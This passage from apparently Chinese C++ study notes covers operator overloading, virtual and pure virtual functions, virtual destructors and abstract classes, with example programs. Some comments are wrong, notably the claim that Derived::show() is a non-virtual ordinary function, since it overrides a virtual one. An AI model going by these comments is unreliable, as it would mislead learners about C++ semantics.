 c2.set(1, 6, 3);
 c1++;
 ++c2;
 c1.showTime();
 c2.showTime();
 Clock c3 = c1 + c2;
 c3.showTime();
 return 0;
}

重载为非成员函数

函数形参代表依次从左向右排列的各操作数
⭐后置单目运算符++和–的重载函数，形参列表要增加一个int,但不需要形参名
在运算符的重载函数中需要操作某类对象私有成员，可以将函数声明为该类的友元 (friend Clock operator+(const Clock &c1, const Clock &c2);)这样就可以访问内部private成员（当然不是Clock没问题，这里方便才这么写）

还是用复数当实例：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58


#include <bits/stdc++.h>
using namespace std;
class Complex {
private:
 double real, imag;

public:
 Complex(double r = 0, double i = 0) : real(r), imag(i) {}
 friend Complex operator+(const Complex &c1, const Complex &c2);
 friend Complex operator+(const double &c1, const Complex &c2);
 friend Complex operator*(const Complex &c1, const Complex &c2);
 friend Complex operator++(Complex &c1);
 friend Complex operator++(Complex &c1, int); // 后置

 void display() const { printf("%lf %lf\n", real, imag); }
};

Complex operator+(const Complex &c1, const Complex &c2) {
 return Complex(c1.real + c2.real, c1.imag + c2.imag);
};

Complex operator+(const double &c1, const Complex &c2) {
 return Complex(c1 + c2.real, c2.imag);
}

Complex operator*(const Complex &c1, const Complex &c2) {
 return Complex(c1.real * c2.real - c1.imag * c2.imag,
 c1.real * c2.imag + c1.imag * c2.real);
}
Complex operator++(Complex &c1) {
 c1.real++;
 return c1;
}
Complex operator++(Complex &c1, int) {
 Complex temp = c1; // 保存当前值
 c1.real++;
 return temp;
}

int main() {
 Complex c1(5, 4), c2(2, 10), c3;
 cout << "c1 = ";
 c1.display();
 cout << "c2 = ";
 c2.display();

 c3 = c1 + c2;
 cout << "c3 = c1 + c2 = ";
 c3.display();

 c3 = c1 * c2;
 cout << "c3 = c1 * c2 = ";
 c3.display();

 c3++;
 c3.display();
 return 0;
}

虚函数

用virtual关键字说明的函数
虚函数是实现运行时多态的基础
c++的虚函数是动态绑定的函数，并且虚函数必须是 非静态的函数，经过派生后，实现运行过程中的多态
而派生类中虚函数的机制使得可以对基类中的成员函数进行覆盖（也就是重定义）声明：

1
2
3


virtual 函数类型 函数名 （形参表）{
 函数体
}

实例：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33


#include <iostream>
using namespace std;
class Base1 { // 基类
public:
 virtual void
 show() const; // 虚函数，可以试着把virtual去掉看看没有虚函数是什么效果
};
void Base1::show() const { cout << "Base1::show()" << endl; }
class Base2 : public Base1 {
public:
 void
 show() const; // 想要覆盖基类的虚函数，参数和返回值以及是否为const必须一致
};
void Base2::show() const { cout << "Base2::show()" << endl; }
class Derived : public Base2 {
public:
 void show() const; // 这是一个普通成员函数，不是虚函数
};
void Derived::show() const { cout << "Derived::show()" << endl; }
void fun(Base1 *ptr) { // 参数为指向基类对象的指针
 ptr->show(); // 调用的是Base1的虚函数
}
int main() {
 Base1 base1;
 Base2 base2;
 Derived derived;
 fun(&base1);
 fun(&base2);
 fun(&derived);
 base1.show(); // 调用Base1的虚函数
 derived.show(); // 调用Derived的普通成员函数
 return 0;
}

如果去掉了virtual是这样的
所有通过基类指针的 ptr->show() 将在编译时绑定为 Base1::show()，即不会发生多态。而如果声明virtual则会因为覆盖动态绑定成员实现调用重写(override)后的函数，而不是基类的函数

不过c++ 11后就可以通过

1
2
3


class Derived : public Base {
 void show() const override; // 编译器会检查是否正确重写
};

彻底检查是否重写成功

虚析构函数

需求原因：可能通过基类指针删除派⽣类对象；
如果打算允许基类指针调用对象的析构函数（例如使用delete函数），就需要让基类的析构函数成为虚函数，否则执行delete结果不确定

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33


#include <iostream>
using namespace std;
class Base {
public:
 ~Base(); // vitrual ~Base();如果定义成虚函数就可以调用对应的析构函数
 // 否则调用fun函数时调用基类的析构函数
};

Base::~Base() { cout << "Base destructor" << endl; }

class Derived : public Base {
public:
 Derived();
 ~Derived();

private:
 int *p;
};

Derived::Derived() { p = new int(0); }

Derived::~Derived() {
 cout << "Derived destructor" << endl;
 delete p;
}

void fun(Base *b) { delete b; }

int main() {
 Base *b = new Derived();
 fun(b);
 return 0;
}

若不将析构函数声明为虚函数则

若改为virtual则

想象你通过电话（基类指针）打给一个人（对象），你以为对面接的是总机（Base），结果其实是某个部门（Derived）。
只有把析构函数设成虚函数时，程序才知道去问总机：“你代表的是哪个部门？”，才能正确转接给那个部门来处理资源销毁。

纯虚函数

纯虚函数是一个在基类中声明的虚函数，它在该基类中没有定义具体的操作内容，要求各派生类根据实际需要定义自己的版本，纯虚函数的声明格式为
virtual 函数类型函数名（参数表）=0 相当于每个汉堡店都要有汉堡，但汉堡只有一个定义而没有具体实现，不同的店要做的就是将派生的汉堡进行具体的实现和定义一些操作

带有纯虚函数的类被称为抽象类作用：
抽象类为抽象和设计的⽬的⽽声明，将有关的数据和⾏为组织在⼀个继承层次结构中，保证派⽣类具有要求的行为。
对于暂时⽆法实现的函数，可以声明为纯虚函数，留给派⽣类去实现。

注意

不能声明抽象类对象
构造函数不能是虚函数，而析构函数可以是虚函数

实例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66


#include <cmath>
#include <iostream>
using namespace std;

class Shape {
protected:
 int n;
 double *data;

public:
 Shape(int num) : n(num) { data = new double[n]; }
 virtual ~Shape() { delete[] data; }
 virtual double getArea() const = 0;
 virtual double getPerim() const = 0;
};

class Rect : public Shape {
public:
 Rect(double length, double width) : Shape(2) {
 data[0] = length;
 data[1] = width;
 }

 double getArea() const { return data[0] * data[1]; }

 double getPerim() const { return 2 * (data[0] + data[1]); }
};

class Circle : public Shape {
public:
 Circle(double radius) : Shape(1) { data[0] = radius; }

 double getArea() const { return M_PI * data[0] * data[0]; }

 double getPerim() const { return M_PI * data[0] * 2; }
};

class Tri : public Shape {
public:
 Tri(double a, double b, double c) : Shape(3) {
 data[0] = a;
 data[1] = b;
 data[2] = c;
 }

 double getArea() const {
 double p = getPerim() / 2;
 return sqrt(p * (p - data[0]) * (p - data[1]) * (p - data[2])); // 海伦公式
 }

 double getPerim() const { return data[0] + data[1] + data[2]; }
};

void fun(Shape *ptr) {
 cout << ptr->getArea() << " " << ptr->getPerim() << endl;
}

int main() {
 Rect rec(3, 4);
 fun(&rec);
 Circle cir(3);
 fun(&cir);
 Tri tri(3, 4, 5);
 fun(&tri);
 return 0;
}